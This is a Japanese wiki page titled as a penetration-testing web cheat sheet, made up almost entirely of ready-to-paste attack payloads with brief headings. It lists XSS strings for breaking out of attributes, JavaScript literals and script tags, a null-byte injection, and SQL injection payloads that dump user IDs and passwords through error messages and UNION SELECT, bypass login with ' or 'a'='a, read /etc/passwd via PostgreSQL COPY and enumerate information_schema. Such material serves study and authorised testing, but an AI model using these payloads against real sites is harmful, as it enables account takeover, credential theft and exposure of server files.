Last-modified: 2016-03-25 (金) 14:24:14
ペネトレーション/Webチートシート

XSS

属性値

外部入力値を属性に使い、"をエスケープしていない場合
イベントハンドラの例

Everything is expanded.Everything is shortened.
  1
  2
 
 
"+onmouseover%3d"alert('1')"
-> " onmouseover="alert('1')"

a要素のhref, img,frame,iframe要素のsrcなどは、javascriptコードが書ける

Everything is expanded.Everything is shortened.
  1
 
<a href="javascript:alert('1')">foo</a>

javascriptの動的生成

外部入力値をjavascriptパラメータに使い、javascript文字列リテラルとしてエスケープしていない場合

Everything is expanded.Everything is shortened.
  1
 
');alert('1')//

scriptの動的生成

外部入力値をscriptに使い、</などをエスケープしていない場合

Everything is expanded.Everything is shortened.
  1
 
</script><script>alert('1')//

インジェクション

nullバイトインジェクション

nullを文字列終端として扱うC/C++と、その上に構築された別言語やフレームワーク間での齟齬を狙う

Everything is expanded.Everything is shortened.
  1
 
foo%00<script>alert('1')</script>

SQLインジェクション

外部入力値でプレースホルダを使わずにSQL文を構築している場合

Everything is expanded.Everything is shortened.
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
-
!
 
-
!
 
-
!
 
-
!
 
-
!
-- 副問い合わせ, 意図してエラーを起こさせ、エラーメッセージで確認する
'+and+cast((select+id||':'||pwd+from+users+offset+0+limit+1)+as+integer)>1--
 
-- union select
'+union+select+id,pwd,name,addr,null,null,null+from+users--
 
-- パスワード欄
' or 'a'='a
 
-- /etc/passwdの内容をfooテーブルのbar列に読み込む(copyはPostgreSQL専用)
';copy+foo(bar)+from+'/etc/passwd'--
 
-- 表名,列名表 information_schema.tables, information_schema.columnsから得られる
'+union+select+table_name,column_name,data_type,null,null,null,null+from+information_schema.columns+order+by+1--